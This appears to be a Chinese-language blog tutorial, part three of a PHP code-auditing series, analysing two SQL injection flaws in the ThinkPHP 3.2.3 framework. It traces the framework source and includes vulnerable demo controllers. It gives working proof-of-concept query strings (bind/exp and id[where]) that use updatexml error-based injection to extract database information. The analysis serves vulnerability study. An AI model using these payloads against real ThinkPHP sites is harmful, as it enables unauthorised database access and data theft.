PHP代码审计入门篇三——Thinkphp框架篇
2024-10-14 08:32:30

ThinkPHP3.2.3 SQL注入分析

0x1 Bind、exp注入

exp:?name[]=123&pass=123&id[]=bind&id[]=0%20and%20updatexml(1,concat(0x7,(select%20user()),0x7e),1)

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//IndexController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$user['id'] = I('id');
$data['username'] = I('name');
$data['pass'] = I('pass');
//更新数据
$result = $User->where($user)->save($data);
var_dump($result);
//查询出所有数据
$info = $User->select();
var_dump($info);

}
}

漏洞分析


$result = $User->where($user)->save($data);先进入where函数执行如下流程

  1. 判断传入的第一个$where参数是数组和第二个参数是否为空,满足条件就进行转义 否侧进入下个分支
  2. 判断是否时对象
  3. 判断$where是否时字符类型,并且为空
  4. 判断$this->options['where']是否存在 否则将$where赋值给$this->options['where']

我们传入的id是一个数组,没有进行处理直接赋值给了$this->options['where']
接下来进入到save函数,经过数据处理进入_parseOptions函数

_parseOptions函数获取了数据表名,别名等信息然后进入到了update方法

接着进入parseWhere函数

定义了运算条件后进入parseWhereItem


可以看到 $exp=val[0]=bind,当$exp == 'bind'的时候会将$key和val[1]拼接起来

1
$wherestr = "`id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1)"

接下来的问题就是=后面的:是怎么去除的,现在的sql是

1
UPDATE `user` SET `pass`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7,(select user()),0x7e),1)


在这里看到将占位符替换为了bind[‘:0’]中的内容

由此产生了注入

当然也可以是id[0]为exp

0x2 where注入

poc:id[where]=1%20and%201=updatexml(1,concat(0x7,(select%20user()),0x7e),1)%23

demo:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M("user");
$id = I('id');
$result = $User->find($id);
var_dump($result);

}
}

代码分析

首先在第8行断点,再来执行下poc

可以看到传入的id是一个数组里面键为where值为我们传入的注入语句,这里又是怎么将sql语句带入到数据库查询到呢,我们继续向下看执行的流程

然后进入了options_filter表达式过滤函数

可以发现没有进行任何处理接着向下进行 直到parseSql函数中的parseWhere

然后直接返回了 'WHERE' .$whereStr

最后执行的sql语句就是SELECT * FROM userWHERE 1 and 1=updatexml(1,concat(0x7,(select user()),0x7e),1)# LIMIT 1 从而触发了注入点

漏洞触发的原因是,在find函数对传入的数据进行了处理
1
这里判断了数字和字符型

1
2
3
$where[$this->getPk()]  =   $options; //这里where是一个数组类型
$options = array();
$options['where'] = $where;

2 进入_parseOptions对字段进行了检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 字段类型验证

if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}

在上面这段检查字段中对传入的$options['where']的内容进行了强制类型转换
重点在于 is_array($options['where'])由于我们传入的id是一个数组类型,所以在第一步那里并没有将$options['where']转化为数组类型,从而绕过了这里的判断条件,使得字段检查失效。

参考

https://paper.seebug.org/573/